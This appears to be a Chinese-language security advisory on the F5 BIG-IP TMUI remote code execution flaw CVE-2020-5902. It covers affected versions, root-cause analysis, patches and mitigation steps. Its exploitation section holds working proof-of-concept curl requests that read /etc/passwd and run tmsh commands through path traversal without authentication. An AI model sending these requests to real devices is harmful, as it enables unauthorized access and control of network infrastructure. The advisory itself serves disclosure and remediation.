0x01 漏洞简述
F5 BIG-IP
是美国F5
公司一款集成流量管理、DNS、出入站规则、web应用防火墙、web网关、负载均衡等功能的应用交付平台。
2020年07月03日, F5
发布了 F5 BIG-IP 远程代码执行
的风险通告,该漏洞编号为 CVE-2020-5902
,漏洞等级:严重
。
未授权的远程攻击者通过向漏洞页面发送特制的请求包,可以造成任意 Java 代码执行。进而控制 F5 BIG-IP
的全部功能,包括但不限于: 执行任意系统命令、开启/禁用服务、创建/删除服务器端文件等。该漏洞影响控制面板受影响,不影响数据面板。
参考网上众多通告,总结此篇。
与此同时,请做好资产自查以及预防工作,以免遭受黑客攻击。
0x02 风险等级
官方给出的安全咨询状态
该漏洞的评定结果如下
评定方式 | 等级 |
---|---|
威胁等级 | 严重 |
影响面 | 广泛 |
0x03 漏洞详情
F5 BIG-IP
是美国F5
公司一款集成流量管理、DNS、出入站规则、web应用防火墙、web网关、负载均衡等功能的应用交付平台。
在 F5 BIG-IP
产品的流量管理用户页面 (TMUI)/配置实用程序的特定页面中存在一处远程代码执行漏洞。
目前msf已经集成了该漏洞的利用。
未授权的远程攻击者通过向该页面发送特制的请求包,可以造成任意Java 代码执行。进而控制 F5 BIG-IP
的全部功能,包括但不限于: 执行任意系统命令、开启/禁用服务、创建/删除服务器端文件等。
0x04 利用方法
文件读取poc
1 | curl -v -k 'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd' |
RCE poc
1 | curl -v -k 'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin' |
复现建议
0x05 漏洞详情
在 F5 BIG-IP
产品的流量管理用户页面 (TMUI)/配置实用程序的特定页面中存在一处远程代码执行漏洞。
目前msf已经集成了该漏洞的利用。
未授权的远程攻击者通过向该页面发送特制的请求包,可以造成任意Java 代码执行。进而控制 F5 BIG-IP
的全部功能,包括但不限于: 执行任意系统命令、开启/禁用服务、创建/删除服务器端文件等。
tmshCmd
在 tmshCmd
的 service
方法处理请求的时候,对 command
参数进行处理。 命令需要满足两个条件:
cmd.matches
返回false
isUserAuthorized
返回false
看下第二个条件,只需要 RawRoleId
不为 0、20、100、510
即可。
然后调用 WorkspaceUtils.runTmshCommand(cmd, request);
方法执行命令,限制了执行delete,create,list,modify
。
1 | if ("POST".equalsIgnoreCase(request.getMethod())) { |
fileRead
在 fileRead
的 service
方法处理请求的时候,对 fileName
参数进行处理。 文件读取需要满足两个条件:
isFileWhitelisted
方法返回false
userCanAccessPartition
方法返回false
调用 isFileWhitelisted
方法,检测请求的 fileName
是否在白名单里,如果不在,则返回false
,不抛出错误。
继续调用 userCanAccessPartition
方法,检测 fileName
是否以 /var/sdm/plugin_store/plugins/
开头,不是就返回false
。
接着就能调用 WorkspaceUtils.readFile(fileName);
方法,进行文件的读取。
0x06 影响版本
- BIG-IP 15.x: 15.1.0/15.0.0
- BIG-IP 14.x: 14.1.0 ~ 14.1.2
- BIG-IP 13.x: 13.1.0 ~ 13.1.3
- BIG-IP 12.x: 12.1.0 ~ 12.1.5
- BIG-IP 11.x: 11.6.1 ~ 11.6.5
0x07 修复建议
通用修补建议
升级到以下版本
- BIG-IP 15.x: 15.1.0.4
- BIG-IP 14.x: 14.1.2.6
- BIG-IP 13.x: 13.1.3.4
- BIG-IP 12.x: 12.1.5.2
- BIG-IP 11.x: 11.6.5.2
临时修补建议
官方建议可以通过以下步骤临时缓解影响
- 使用以下命令登录对应系统
1 | tmsh |
- 编辑
httpd
组件的配置文件
1 | edit /sys httpd all-properties |
- 文件内容如下
1 | include ' |
- 按照如下操作保存文件
1 | 按下 ESC 并依次输入 |
- 执行命令刷新配置文件
1 | save /sys config |
- 重启 httpd 服务
1 | restart sys service httpd |
并禁止外部IP对 TMUI 页面的访问